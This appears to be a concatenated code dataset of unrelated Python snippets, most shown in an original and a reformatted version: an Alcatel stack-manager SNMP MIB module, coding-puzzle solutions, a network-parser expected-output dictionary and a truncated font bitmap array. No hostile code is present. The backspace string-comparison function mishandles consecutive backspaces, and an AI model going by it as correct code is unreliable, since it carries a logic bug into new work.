mibBuilder.loadTexts: alaStackMgrNeighborChangeTrap.setStatus('current') if mibBuilder.loadTexts: alaStackMgrNeighborChangeTrap.setDescription('Indicates whether the stack is in loop or not. In case of no loop, alaStackMgrSlotNINumber and alaStackMgrTrapLinkNumber indicate where the Stack is broken') ala_stack_mgr_role_change_trap = notification_type((1, 3, 6, 1, 4, 1, 6486, 801, 1, 2, 1, 24, 1, 4, 0, 3)).setObjects(('ALCATEL-IND1-STACK-MANAGER-MIB', 'alaStackMgrPrimary'), ('ALCATEL-IND1-STACK-MANAGER-MIB', 'alaStackMgrSecondary')) if mibBuilder.loadTexts: alaStackMgrRoleChangeTrap.setStatus('current') if mibBuilder.loadTexts: alaStackMgrRoleChangeTrap.setDescription(' Role Change Trap. Indicates that a new primary or secondary is elected.') ala_stack_mgr_duplicate_role_trap = notification_type((1, 3, 6, 1, 4, 1, 6486, 801, 1, 2, 1, 24, 1, 4, 0, 4)).setObjects(('ALCATEL-IND1-STACK-MANAGER-MIB', 'alaStackMgrSlotNINumber'), ('ALCATEL-IND1-STACK-MANAGER-MIB', 'alaStackMgrChasRole')) if mibBuilder.loadTexts: alaStackMgrDuplicateRoleTrap.setStatus('current') if mibBuilder.loadTexts: alaStackMgrDuplicateRoleTrap.setDescription('The element identified by alaStackMgrSlotNINumber detected the presence of two elements with the same primary or secondary role as specified by alaStackMgrChasRole on the stack.') ala_stack_mgr_cleared_slot_trap = notification_type((1, 3, 6, 1, 4, 1, 6486, 801, 1, 2, 1, 24, 1, 4, 0, 5)).setObjects(('ALCATEL-IND1-STACK-MANAGER-MIB', 'alaStackMgrSlotNINumber')) if mibBuilder.loadTexts: alaStackMgrClearedSlotTrap.setStatus('current') if mibBuilder.loadTexts: alaStackMgrClearedSlotTrap.setDescription('The element identified by alaStackMgrSlotNINumber will enter the pass through mode because its operational slot was cleared with immediate effect.') ala_stack_mgr_out_of_slots_trap = notification_type((1, 3, 6, 1, 4, 1, 6486, 801, 1, 2, 1, 24, 1, 4, 0, 6)) if mibBuilder.loadTexts: alaStackMgrOutOfSlotsTrap.setStatus('current') if mibBuilder.loadTexts: alaStackMgrOutOfSlotsTrap.setDescription('One element of the stack will enter the pass through mode because there are no slot numbers available to be assigned to this element.') ala_stack_mgr_out_of_tokens_trap = notification_type((1, 3, 6, 1, 4, 1, 6486, 801, 1, 2, 1, 24, 1, 4, 0, 7)).setObjects(('ALCATEL-IND1-STACK-MANAGER-MIB', 'alaStackMgrSlotNINumber')) if mibBuilder.loadTexts: alaStackMgrOutOfTokensTrap.setStatus('current') if mibBuilder.loadTexts: alaStackMgrOutOfTokensTrap.setDescription('The element identified by alaStackMgrSlotNINumber will enter the pass through mode because there are no tokens available to be assigned to this element.') ala_stack_mgr_out_of_pass_thru_slots_trap = notification_type((1, 3, 6, 1, 4, 1, 6486, 801, 1, 2, 1, 24, 1, 4, 0, 8)) if mibBuilder.loadTexts: alaStackMgrOutOfPassThruSlotsTrap.setStatus('current') if mibBuilder.loadTexts: alaStackMgrOutOfPassThruSlotsTrap.setDescription('There are no pass through slots available to be assigned to an element that is supposed to enter the pass through mode.') ala_stack_mgr_bad_mix_trap = notification_type((1, 3, 6, 1, 4, 1, 6486, 801, 1, 2, 1, 24, 1, 4, 0, 9)).setObjects(('ALCATEL-IND1-STACK-MANAGER-MIB', 'alaStackMgrSlotNINumber')) if mibBuilder.loadTexts: alaStackMgrBadMixTrap.setStatus('current') if mibBuilder.loadTexts: alaStackMgrBadMixTrap.setDescription('The element identified by alaStackMgrSlotNINumber will enter the pass through mode because it is not compatible with the existing stack.') alcatel_ind1_stack_mgr_mib_groups = mib_identifier((1, 3, 6, 1, 4, 1, 6486, 801, 1, 2, 1, 24, 1, 2, 1)) alcatel_ind1_stack_mgr_mib_compliances = mib_identifier((1, 3, 6, 1, 4, 1, 6486, 801, 1, 2, 1, 24, 1, 2, 2)) ala_stack_mgr_cfg_mgr_group = object_group((1, 3, 6, 1, 4, 1, 6486, 801, 1, 2, 1, 24, 1, 2, 1, 1)).setObjects(('ALCATEL-IND1-STACK-MANAGER-MIB', 'alaStackMgrSlotNINumber'), ('ALCATEL-IND1-STACK-MANAGER-MIB', 'alaStackMgrSlotCMMNumber'), ('ALCATEL-IND1-STACK-MANAGER-MIB', 'alaStackMgrChasRole'), ('ALCATEL-IND1-STACK-MANAGER-MIB', 'alaStackMgrLocalLinkStateA'), ('ALCATEL-IND1-STACK-MANAGER-MIB', 'alaStackMgrRemoteNISlotA'), ('ALCATEL-IND1-STACK-MANAGER-MIB', 'alaStackMgrRemoteLinkA'), ('ALCATEL-IND1-STACK-MANAGER-MIB', 'alaStackMgrLocalLinkStateB'), ('ALCATEL-IND1-STACK-MANAGER-MIB', 'alaStackMgrRemoteNISlotB'), ('ALCATEL-IND1-STACK-MANAGER-MIB', 'alaStackMgrRemoteLinkB'), ('ALCATEL-IND1-STACK-MANAGER-MIB', 'alaStackMgrChasState'), ('ALCATEL-IND1-STACK-MANAGER-MIB', 'alaStackMgrSavedSlotNINumber'), ('ALCATEL-IND1-STACK-MANAGER-MIB', 'alaStackMgrCommandAction'), ('ALCATEL-IND1-STACK-MANAGER-MIB', 'alaStackMgrCommandStatus'), ('ALCATEL-IND1-STACK-MANAGER-MIB', 'alaStackMgrOperStackingMode'), ('ALCATEL-IND1-STACK-MANAGER-MIB', 'alaStackMgrAdminStackingMode')) if getattr(mibBuilder, 'version', (0, 0, 0)) > (4, 4, 0): ala_stack_mgr_cfg_mgr_group = alaStackMgrCfgMgrGroup.setStatus('current') if mibBuilder.loadTexts: alaStackMgrCfgMgrGroup.setDescription('A collection of objects providing information about the topology of the stack .') ala_stack_mgr_notification_group = notification_group((1, 3, 6, 1, 4, 1, 6486, 801, 1, 2, 1, 24, 1, 2, 1, 2)).setObjects(('ALCATEL-IND1-STACK-MANAGER-MIB', 'alaStackMgrDuplicateSlotTrap'), ('ALCATEL-IND1-STACK-MANAGER-MIB', 'alaStackMgrNeighborChangeTrap'), ('ALCATEL-IND1-STACK-MANAGER-MIB', 'alaStackMgrRoleChangeTrap'), ('ALCATEL-IND1-STACK-MANAGER-MIB', 'alaStackMgrDuplicateRoleTrap'), ('ALCATEL-IND1-STACK-MANAGER-MIB', 'alaStackMgrClearedSlotTrap'), ('ALCATEL-IND1-STACK-MANAGER-MIB', 'alaStackMgrOutOfSlotsTrap'), ('ALCATEL-IND1-STACK-MANAGER-MIB', 'alaStackMgrOutOfTokensTrap'), ('ALCATEL-IND1-STACK-MANAGER-MIB', 'alaStackMgrOutOfPassThruSlotsTrap'), ('ALCATEL-IND1-STACK-MANAGER-MIB', 'alaStackMgrBadMixTrap')) if getattr(mibBuilder, 'version', (0, 0, 0)) > (4, 4, 0): ala_stack_mgr_notification_group = alaStackMgrNotificationGroup.setStatus('current') if mibBuilder.loadTexts: alaStackMgrNotificationGroup.setDescription('A collection of notifications for signaling Stack manager events.') alcatel_ind1_stack_mgr_mib_compliance = module_compliance((1, 3, 6, 1, 4, 1, 6486, 801, 1, 2, 1, 24, 1, 2, 2, 1)).setObjects(('ALCATEL-IND1-STACK-MANAGER-MIB', 'alaStackMgrCfgMgrGroup'), ('ALCATEL-IND1-STACK-MANAGER-MIB', 'alaStackMgrNotificationGroup')) if getattr(mibBuilder, 'version', (0, 0, 0)) > (4, 4, 0): alcatel_ind1_stack_mgr_mib_compliance = alcatelIND1StackMgrMIBCompliance.setStatus('current') if mibBuilder.loadTexts: alcatelIND1StackMgrMIBCompliance.setDescription('The compliance statement for device support of Stack Manager.') mibBuilder.exportSymbols('ALCATEL-IND1-STACK-MANAGER-MIB', alaStackMgrStatPktsTx=alaStackMgrStatPktsTx, alaStackMgrNeighborChangeTrap=alaStackMgrNeighborChangeTrap, AlaStackMgrNINumber=AlaStackMgrNINumber, alaStackMgrStaticRoutePortState=alaStackMgrStaticRoutePortState, alaStackMgrDuplicateRoleTrap=alaStackMgrDuplicateRoleTrap, alaStackMgrTrapLinkNumber=alaStackMgrTrapLinkNumber, alaStackMgrOutOfSlotsTrap=alaStackMgrOutOfSlotsTrap, alaStackMgrOutOfPassThruSlotsTrap=alaStackMgrOutOfPassThruSlotsTrap, alaStackMgrDuplicateSlotTrap=alaStackMgrDuplicateSlotTrap, alaStackMgrRoleChangeTrap=alaStackMgrRoleChangeTrap, alaStackMgrLocalLinkStateA=alaStackMgrLocalLinkStateA, alaStackMgrCfgMgrGroup=alaStackMgrCfgMgrGroup, alcatelIND1StackMgrMIBObjects=alcatelIND1StackMgrMIBObjects, alaStackMgrStatPktsRx=alaStackMgrStatPktsRx, alaStackMgrStaticRouteRowStatus=alaStackMgrStaticRouteRowStatus, alcatelIND1StackMgrMIBCompliance=alcatelIND1StackMgrMIBCompliance, alaStackMgrSecondary=alaStackMgrSecondary, alaStackMgrAdminStackingMode=alaStackMgrAdminStackingMode, alaStackMgrStatDelayFromLastMsg=alaStackMgrStatDelayFromLastMsg, AlaStackMgrSlotState=AlaStackMgrSlotState, alaStackMgrChassisEntry=alaStackMgrChassisEntry, alaStackMgrStaticRouteDstStartIf=alaStackMgrStaticRouteDstStartIf, PYSNMP_MODULE_ID=alcatelIND1StackMgrMIB, alaStackMgrStaticRouteStatus=alaStackMgrStaticRouteStatus, AlaStackMgrSlotRole=AlaStackMgrSlotRole, alaStackMgrNotificationGroup=alaStackMgrNotificationGroup, alaStackMgrStatErrorsTx=alaStackMgrStatErrorsTx, alaStackMgrStatLinkNumber=alaStackMgrStatLinkNumber, alcatelIND1StackMgrMIB=alcatelIND1StackMgrMIB, alaStackMgrRemoteNISlotB=alaStackMgrRemoteNISlotB, alaStackMgrStackStatus=alaStackMgrStackStatus, alaStackMgrStaticRoutePort=alaStackMgrStaticRoutePort, AlaStackMgrCommandStatus=AlaStackMgrCommandStatus, alaStackMgrStatsEntry=alaStackMgrStatsEntry, AlaStackMgrCommandAction=AlaStackMgrCommandAction, AlaStackMgrLinkStatus=AlaStackMgrLinkStatus, alaStackMgrStaticRouteDstEndIf=alaStackMgrStaticRouteDstEndIf, alaStackMgrRemoteNISlotA=alaStackMgrRemoteNISlotA, alaStackMgrStaticRouteSrcStartIf=alaStackMgrStaticRouteSrcStartIf, alaStackMgrCommandStatus=alaStackMgrCommandStatus, alaStackMgrStatsTable=alaStackMgrStatsTable, alaStackMgrTraps=alaStackMgrTraps, alaStackMgrTokensUsed=alaStackMgrTokensUsed, alaStackMgrTokensAvailable=alaStackMgrTokensAvailable, alaStackMgrPrimary=alaStackMgrPrimary, alaStackMgrCommandAction=alaStackMgrCommandAction, alaStackMgrSlotNINumber=alaStackMgrSlotNINumber, AlaStackMgrLinkNumber=AlaStackMgrLinkNumber, alaStackMgrStaticRouteSrcEndIf=alaStackMgrStaticRouteSrcEndIf, alcatelIND1StackMgrTrapObjects=alcatelIND1StackMgrTrapObjects, alaStackMgrRemoteLinkB=alaStackMgrRemoteLinkB, AlaStackMgrStackingMode=AlaStackMgrStackingMode, alaStackMgrChasRole=alaStackMgrChasRole, alaStackMgrSavedSlotNINumber=alaStackMgrSavedSlotNINumber, alaStackMgrOutOfTokensTrap=alaStackMgrOutOfTokensTrap, alaStackMgrStaticRouteTable=alaStackMgrStaticRouteTable, alaStackMgrOperStackingMode=alaStackMgrOperStackingMode, alaStackMgrStaticRouteEntry=alaStackMgrStaticRouteEntry, alaStackMgrStatErrorsRx=alaStackMgrStatErrorsRx, alaStackMgrBadMixTrap=alaStackMgrBadMixTrap, alcatelIND1StackMgrMIBCompliances=alcatelIND1StackMgrMIBCompliances, AlaStackMgrStackStatus=AlaStackMgrStackStatus, alcatelIND1StackMgrMIBGroups=alcatelIND1StackMgrMIBGroups, alaStackMgrChasState=alaStackMgrChasState, alaStackMgrChassisTable=alaStackMgrChassisTable, alaStackMgrSlotCMMNumber=alaStackMgrSlotCMMNumber, alaStackMgrRemoteLinkA=alaStackMgrRemoteLinkA, alaStackMgrLocalLinkStateB=alaStackMgrLocalLinkStateB, alaStackMgrClearedSlotTrap=alaStackMgrClearedSlotTrap, alcatelIND1StackMgrMIBConformance=alcatelIND1StackMgrMIBConformance)
class Solution: def maxArea(self, height): left, right, mx = 0, len(height) - 1, 0 while left < right: mx = max(mx, (right - left) * min(height[left], height[right])) if height[left] < height[right]: left += 1 else: right -= 1 return mx
class Solution: def max_area(self, height): (left, right, mx) = (0, len(height) - 1, 0) while left < right: mx = max(mx, (right - left) * min(height[left], height[right])) if height[left] < height[right]: left += 1 else: right -= 1 return mx
'''input -1000000000 1000000000 Zero -1 0 Zero 1 3 Positive -3 -1 Negative -4 -1 Positive -1 1 Zero 0 1 Zero ''' # -*- coding: utf-8 -*- # AtCoder Grand Contest # Problem A if __name__ == '__main__': a, b = list(map(int, input().split())) if a * b <= 0: print('Zero') elif (a >= 1) or ((b <= -1) and ((b - a + 1) % 2 == 0)): print('Positive') else: print('Negative')
"""input -1000000000 1000000000 Zero -1 0 Zero 1 3 Positive -3 -1 Negative -4 -1 Positive -1 1 Zero 0 1 Zero """ if __name__ == '__main__': (a, b) = list(map(int, input().split())) if a * b <= 0: print('Zero') elif a >= 1 or (b <= -1 and (b - a + 1) % 2 == 0): print('Positive') else: print('Negative')
# Can 31 dominoes cover all but two opposite corners of a chess board? def dominoes(): # Each dominoe must cover one black and one white square. # But there are different numbers of black and white squares. # Read up on such parity arguments here: # http://ihxrelation.blogspot.com/2015/10/tiling-problems.html return False
def dominoes(): return False
def merger_first_into_second(arr1, arr2): p1 = len(arr1) - 1 runner = len(arr2) - 1 # Assuming arr2 is the padded p2 = len(arr2) - len(arr1) - 1 while p1 >= 0 or p2 >= 0 and p1 != runner and p2 != runner: if p1 >= 0 and p2 >= 0: if arr1[p1] > arr2[p2]: arr2[runner] = arr1[p1] p1 -= 1 else: arr2[runner] = arr2[p2] p2 -= 1 elif p1 >= 0: arr2[runner] = arr1[p1] p1 -= 1 else: arr2[runner] = arr2[p2] p2 -= 1 runner -= 1
def merger_first_into_second(arr1, arr2): p1 = len(arr1) - 1 runner = len(arr2) - 1 p2 = len(arr2) - len(arr1) - 1 while p1 >= 0 or (p2 >= 0 and p1 != runner and (p2 != runner)): if p1 >= 0 and p2 >= 0: if arr1[p1] > arr2[p2]: arr2[runner] = arr1[p1] p1 -= 1 else: arr2[runner] = arr2[p2] p2 -= 1 elif p1 >= 0: arr2[runner] = arr1[p1] p1 -= 1 else: arr2[runner] = arr2[p2] p2 -= 1 runner -= 1
# strings_with_backspaces # given strings with backspace character '#' # check if they are equal def strings_with_backspaces(str1, str2): p = len(str1)-1 q = len(str2)-1 while p >= 0 and q >= 0: # handle backspace character if str1[p] == '#': p = p - 2 if str2[q] == '#': q = q - 2 # compare characters if p >= 0 and q >= 0: if str1[p] != str2[q]: return False else: return False p = p - 1 q = q - 1 # p must equal q for, string equality return p == q def main(): str1 = "xy#z" str2 = "xzz#" res = strings_with_backspaces(str1, str2) print(f'{res}') if __name__ == "__main__": main()
def strings_with_backspaces(str1, str2): p = len(str1) - 1 q = len(str2) - 1 while p >= 0 and q >= 0: if str1[p] == '#': p = p - 2 if str2[q] == '#': q = q - 2 if p >= 0 and q >= 0: if str1[p] != str2[q]: return False else: return False p = p - 1 q = q - 1 return p == q def main(): str1 = 'xy#z' str2 = 'xzz#' res = strings_with_backspaces(str1, str2) print(f'{res}') if __name__ == '__main__': main()
expected_output = { "interfaces": { "Ethernet1/1": { "interface": "Ethernet1/1", "statistics": { "txreq": 0, "rxlogoff": 0, "txtotal": 3, "txreqid": 0, "lastrxsrcmac": "00:00:00:ff:00:00", "rxinvalid": 0, "rxrespid": 0, "rxlenerr": 0, "rxversion": 0, "rxstart": 0, "rxresp": 0, "rxtotal": 0, }, } } }
expected_output = {'interfaces': {'Ethernet1/1': {'interface': 'Ethernet1/1', 'statistics': {'txreq': 0, 'rxlogoff': 0, 'txtotal': 3, 'txreqid': 0, 'lastrxsrcmac': '00:00:00:ff:00:00', 'rxinvalid': 0, 'rxrespid': 0, 'rxlenerr': 0, 'rxversion': 0, 'rxstart': 0, 'rxresp': 0, 'rxtotal': 0}}}}
FreeSerifBold18pt7bBitmaps = [ 0x7B, 0xEF, 0xFF, 0xFF, 0xF7, 0x9E, 0x71, 0xC7, 0x0C, 0x20, 0x82, 0x00, 0x00, 0x07, 0x3E, 0xFF, 0xFF, 0xDC, 0x60, 0x37, 0x83, 0xFC, 0x1F, 0xE0, 0xFF, 0x07, 0xB8, 0x3D, 0xC0, 0xCC, 0x06, 0x20, 0x31, 0x01, 0x80, 0x03, 0x8E, 0x00, 0xC3, 0x80, 0x30, 0xE0, 0x1C, 0x38, 0x07, 0x0E, 0x01, 0xC3, 0x87, 0xFF, 0xFD, 0xFF, 0xFF, 0x7F, 0xFF, 0xC1, 0x87, 0x00, 0xE1, 0xC0, 0x38, 0x70, 0x0E, 0x1C, 0x03, 0x86, 0x0F, 0xFF, 0xF3, 0xFF, 0xFC, 0xFF, 0xFF, 0x07, 0x0E, 0x01, 0xC3, 0x80, 0x70, 0xE0, 0x1C, 0x30, 0x07, 0x0C, 0x01, 0x87, 0x00, 0x61, 0xC0, 0x02, 0x00, 0x04, 0x00, 0x08, 0x00, 0xFF, 0x03, 0x27, 0x8C, 0x47, 0x38, 0x86, 0x71, 0x0C, 0xF2, 0x09, 0xF4, 0x03, 0xF8, 0x03, 0xF8, 0x07, 0xFC, 0x03, 0xFC, 0x03, 0xFE, 0x01, 0xFE, 0x03, 0xFC, 0x04, 0xFC, 0x08, 0xFA, 0x10, 0xF4, 0x21, 0xEC, 0x43, 0xD8, 0x8F, 0x3D, 0x3C, 0x3F, 0xF0, 0x1F, 0x00, 0x08, 0x00, 0x10, 0x00, 0x03, 0xC0, 0x18, 0x01, 0xFE, 0x0F, 0x00, 0x7C, 0xFF, 0xC0, 0x1F, 0x0F, 0x90, 0x07, 0xC1, 0x06, 0x00, 0xF0, 0x21, 0x80, 0x3E, 0x04, 0x30, 0x07, 0x81, 0x8C, 0x00, 0xF0, 0x21, 0x80, 0x1E, 0x0C, 0x60, 0x03, 0xC1, 0x18, 0x1E, 0x3C, 0xE3, 0x0F, 0xE7, 0xF8, 0xC3, 0xE6, 0x3C, 0x18, 0xF8, 0x40, 0x06, 0x3E, 0x08, 0x01, 0x87, 0x81, 0x00, 0x31, 0xF0, 0x20, 0x0C, 0x3E, 0x04, 0x01, 0x87, 0x81, 0x00, 0x60, 0xF0, 0x60, 0x18, 0x1E, 0x08, 0x03, 0x03, 0xC7, 0x00, 0xC0, 0x3F, 0xC0, 0x18, 0x03, 0xE0, 0x00, 0x7E, 0x00, 0x00, 0x7F, 0xE0, 0x00, 0x38, 0xF8, 0x00, 0x1E, 0x1F, 0x00, 0x07, 0x83, 0xC0, 0x01, 0xF0, 0xF0, 0x00, 0x7C, 0x38, 0x00, 0x1F, 0x9C, 0x00, 0x03, 0xFC, 0x00, 0x00, 0xFE, 0x0F, 0xF0, 0x3F, 0x80, 0xF0, 0x1F, 0xF0, 0x18, 0x1C, 0xFE, 0x0C, 0x0E, 0x1F, 0xC3, 0x07, 0x87, 0xF1, 0x81, 0xE0, 0xFE, 0x40, 0xF8, 0x1F, 0xF0, 0x3F, 0x07, 0xF8, 0x0F, 0xC0, 0xFE, 0x03, 0xF8, 0x1F, 0xC0, 0xFE, 0x07, 0xF8, 0x9F, 0xE3, 0xFF, 0xE7, 0xFF, 0x9F, 0xF0, 0xFF, 0xC3, 0xF8, 0x0F, 0x80, 0x3C, 0x00, 0x6F, 0xFF, 0xFF, 0x66, 0x66, 0x00, 0x81, 0x81, 0x81, 0x81, 0x80, 0xC0, 0xE0, 0x70, 0x70, 0x38, 0x3C, 0x1E, 0x0F, 0x07, 0x83, 0xC1, 0xE0, 0xF0, 0x78, 0x3C, 0x0E, 0x07, 0x03, 0x80, 0xE0, 0x70, 0x18, 0x06, 0x01, 0x00, 0x40, 0x10, 0x04, 0x80, 0x30, 0x0C, 0x03, 0x00, 0xC0, 0x60, 0x38, 0x1C, 0x07, 0x03, 0x81, 0xC0, 0xF0, 0x78, 0x3C, 0x1E, 0x0F, 0x07, 0x83, 0xC1, 0xE0, 0xE0, 0x70, 0x38, 0x38, 0x1C, 0x0C, 0x0C, 0x06, 0x04, 0x04, 0x04, 0x00, 0x03, 0x00, 0x1E, 0x00, 0x78, 0x1D, 0xE6, 0xFB, 0x3D, 0xED, 0xF3, 0xFF, 0x01, 0xC0, 0x7F, 0xF3, 0xED, 0xFF, 0x33, 0xD9, 0xE6, 0x07, 0x80, 0x1E, 0x00, 0x30, 0x00, 0x00, 0xE0, 0x00, 0x1C, 0x00, 0x03, 0x80, 0x00, 0x70, 0x00, 0x0E, 0x00, 0x01, 0xC0, 0x00, 0x38, 0x00, 0x07, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x80, 0x70, 0x00, 0x0E, 0x00, 0x01, 0xC0, 0x00, 0x38, 0x00, 0x07, 0x00, 0x00, 0xE0, 0x00, 0x1C, 0x00, 0x03, 0x80, 0x00, 0x73, 0xEF, 0xFF, 0xFD, 0xF0, 0xC2, 0x18, 0xC6, 0x30, 0xFF, 0xFF, 0xFF, 0xFF, 0x7B, 0xFF, 0xFF, 0xFD, 0xE0, 0x00, 0xE0, 0x3C, 0x07, 0x00, 0xE0, 0x1C, 0x07, 0x00, 0xE0, 0x1C, 0x07, 0x00, 0xE0, 0x1C, 0x07, 0x00, 0xE0, 0x1C, 0x07, 0x00, 0xE0, 0x1C, 0x07, 0x00, 0xE0, 0x1C, 0x07, 0x00, 0xE0, 0x1C, 0x07, 0x00, 0xE0, 0x00, 0x03, 0xC0, 0x0E, 0x70, 0x1E, 0x78, 0x3C, 0x3C, 0x3C, 0x3C, 0x7C, 0x3E, 0x7C, 0x3E, 0x7C, 0x3E, 0xFC, 0x3F, 0xFC, 0x3F, 0xFC, 0x3F, 0xFC, 0x3F, 0xFC, 0x3F, 0xFC, 0x3F, 0xFC, 0x3F, 0xFC, 0x3F, 0xFC, 0x3E, 0x7C, 0x3E, 0x7C, 0x3E, 0x3C, 0x3C, 0x3C, 0x3C, 0x1E, 0x78, 0x0E, 0x70, 0x03, 0xC0, 0x00, 0xC0, 0x3C, 0x0F, 0xC3, 0xFC, 0x4F, 0xC0, 0xFC, 0x0F, 0xC0, 0xFC, 0x0F, 0xC0, 0xFC, 0x0F, 0xC0, 0xFC, 0x0F, 0xC0, 0xFC, 0x0F, 0xC0, 0xFC, 0x0F, 0xC0, 0xFC, 0x0F, 0xC0, 0xFC, 0x0F, 0xC0, 0xFC, 0x1F, 0xEF, 0xFF, 0x03, 0xE0, 0x0F, 0xF8, 0x1F, 0xFC, 0x3F, 0xFC, 0x30, 0xFE, 0x60, 0x7E, 0x40, 0x3E, 0x00, 0x3E, 0x00, 0x3E, 0x00, 0x3C, 0x00, 0x3C, 0x00, 0x78, 0x00, 0x70, 0x00, 0xE0, 0x00, 0xC0, 0x01, 0x80, 0x03, 0x00, 0x06, 0x01, 0x0C, 0x03, 0x1F, 0xFF, 0x1F, 0xFF, 0x3F, 0xFE, 0x7F, 0xFE, 0xFF, 0xFE, 0x03, 0xF0, 0x0F, 0xF8, 0x3F, 0xFC, 0x21, 0xFE, 0x40, 0xFE, 0x00, 0x7E, 0x00, 0x7E, 0x00, 0x7C, 0x00, 0x78, 0x00, 0xF0, 0x01, 0xFC, 0x03, 0xFE, 0x00, 0x7E, 0x00, 0x3F, 0x00, 0x1F, 0x00, 0x0F, 0x00, 0x0F, 0x00, 0x0F, 0x00, 0x0E, 0x70, 0x0E, 0xFC, 0x1C, 0xFE, 0x38, 0x7F, 0xE0, 0x3F, 0x80, 0x00, 0x38, 0x00, 0xF0, 0x03, 0xE0, 0x07, 0xC0, 0x1F, 0x80, 0x5F, 0x00, 0xBE, 0x02, 0x7C, 0x08, 0xF8, 0x31, 0xF0, 0x43, 0xE1, 0x07, 0xC4, 0x0F, 0x88, 0x1F, 0x20, 0x3E, 0x7F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF8, 0x07, 0xC0, 0x0F, 0x80, 0x1F, 0x00, 0x3E, 0x00, 0x7C, 0x0F, 0xFE, 0x1F, 0xF8, 0x7F, 0xF0, 0xFF, 0xE1, 0x80, 0x03, 0x00, 0x0C, 0x00, 0x18, 0x00, 0x3F, 0x80, 0xFF, 0xC1, 0xFF, 0xC3, 0xFF, 0xC3, 0xFF, 0x80, 0x3F, 0x80, 0x0F, 0x00, 0x0E, 0x00, 0x1C, 0x00, 0x18, 0x00, 0x37, 0x80, 0x4F, 0x81, 0x9F, 0xC6, 0x3F, 0xF8, 0x1F, 0x80, 0x00, 0x07, 0x00, 0x7C, 0x01, 0xF0, 0x03, 0xC0, 0x0F, 0x80, 0x1F, 0x00, 0x1F, 0x00, 0x3E, 0x00, 0x7E, 0x00, 0x7F, 0xF0, 0x7F, 0xFC, 0xFC, 0x7E, 0xFC, 0x7E, 0xFC, 0x3F, 0xFC, 0x3F, 0xFC, 0x3F, 0xFC, 0x3F, 0xFC, 0x3F, 0x7C, 0x3F, 0x7C, 0x3E, 0x3C, 0x3E, 0x3E, 0x3C, 0x1E, 0x78, 0x07, 0xE0, 0x7F, 0xFF, 0x7F, 0xFE, 0x7F, 0xFE, 0xFF, 0xFE, 0xFF, 0xFC, 0xC0, 0x1C, 0x80, 0x18, 0x80, 0x38, 0x00, 0x38, 0x00, 0x70, 0x00, 0x70, 0x00, 0x70, 0x00, 0xE0, 0x00, 0xE0, 0x00, 0xE0, 0x01, 0xC0, 0x01, 0xC0, 0x01, 0xC0, 0x03, 0x80, 0x03, 0x80, 0x07, 0x80, 0x07, 0x00, 0x07, 0x00, 0x0F, 0x00, 0x0F, 0xE0, 0x38, 0x78, 0x70, 0x3C, 0xF0, 0x1E, 0xF0, 0x1E, 0xF8, 0x1E, 0xF8, 0x1E, 0xFE, 0x3C, 0x7F, 0xB0, 0x7F, 0xE0, 0x3F, 0xF0, 0x0F, 0xF8, 0x1F, 0xFC, 0x39, 0xFE, 0x70, 0xFF, 0xF0, 0x3F, 0xF0, 0x3F, 0xF0, 0x1F, 0xF0, 0x1F, 0xF0, 0x1E, 0x78, 0x3E, 0x7C, 0x7C, 0x3F, 0xF8, 0x0F, 0xE0, 0x07, 0xE0, 0x1E, 0x78, 0x3C, 0x7C, 0x7C, 0x3C, 0x7C, 0x3E, 0xFC, 0x3E, 0xFC, 0x3F, 0xFC, 0x3F, 0xFC, 0x3F, 0xFC, 0x3F, 0xFC, 0x3F, 0x7E, 0x3F, 0x7E, 0x3F, 0x3F, 0xFE, 0x0F, 0xFE, 0x00, 0x7E, 0x00, 0x7C, 0x00, 0xF8, 0x00, 0xF8, 0x01, 0xF0, 0x03, 0xC0, 0x0F, 0x80, 0x3E, 0x00, 0xE0, 0x00, 0x7B, 0xFF, 0xFF, 0xFD, 0xE0, 0x00, 0x00, 0x07, 0xBF, 0xFF, 0xFF, 0xDE, 0x39, 0xFB, 0xF7, 0xEF, 0xC7, 0x00, 0x00, 0x00, 0x01, 0xE7, 0xEF, 0xFF, 0xFF, 0xBF, 0x06, 0x08, 0x30, 0xC2, 0x18, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0C, 0x00, 0x0F, 0x80, 0x07, 0xF0, 0x03, 0xFC, 0x01, 0xFE, 0x00, 0xFE, 0x00, 0x7F, 0x00, 0x3F, 0x80, 0x1F, 0xC0, 0x03, 0xF8, 0x00, 0x1F, 0xC0, 0x00, 0xFE, 0x00, 0x07, 0xF0, 0x00, 0x3F, 0x80, 0x01, 0xFE, 0x00, 0x0F, 0xE0, 0x00, 0x7C, 0x00, 0x01, 0x80, 0x00, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF0, 0x00, 0x00, 0x18, 0x00, 0x03, 0xE0, 0x00, 0x7F, 0x00, 0x07, 0xF8, 0x00, 0x1F, 0xC0, 0x00, 0xFE, 0x00, 0x07, 0xF0, 0x00, 0x3F, 0x80, 0x01, 0xFC, 0x00, 0x3F, 0x80, 0x1F, 0xC0, 0x0F, 0xE0, 0x07, 0xF0, 0x07, 0xF8, 0x03, 0xFC, 0x00, 0xFE, 0x00, 0x1F, 0x00, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0F, 0xC0, 0xFF, 0xC7, 0x1F, 0xB8, 0x3E, 0xF0, 0xFF, 0xC3, 0xFF, 0x0F, 0xD8, 0x3F, 0x00, 0xF8, 0x07, 0xC0, 0x1E, 0x00, 0x60, 0x03, 0x00, 0x08, 0x00, 0x20, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x70, 0x03, 0xE0, 0x1F, 0x80, 0x7E, 0x01, 0xF8, 0x01, 0xC0, 0x00, 0x7F, 0x00, 0x01, 0xFF, 0xE0, 0x07, 0xC0, 0xF0, 0x0F, 0x00, 0x38, 0x1E, 0x00, 0x0C, 0x3C, 0x07, 0x06, 0x38, 0x1F, 0x72, 0x78, 0x3C, 0xF3, 0x78, 0x78, 0xE1, 0xF0, 0x70, 0xE1, 0xF0, 0xF0, 0xE1, 0xF0, 0xE0, 0xC1, 0xF1, 0xE1, 0xC1, 0xF1, 0xC1, 0xC1, 0xF1, 0xC3, 0x82, 0xF1, 0xC3, 0x86, 0x71, 0xC7, 0x8C, 0x79, 0xFB, 0xF8, 0x78, 0xF1, 0xF0, 0x3C, 0x00, 0x00, 0x1E, 0x00, 0x00, 0x0F, 0x00, 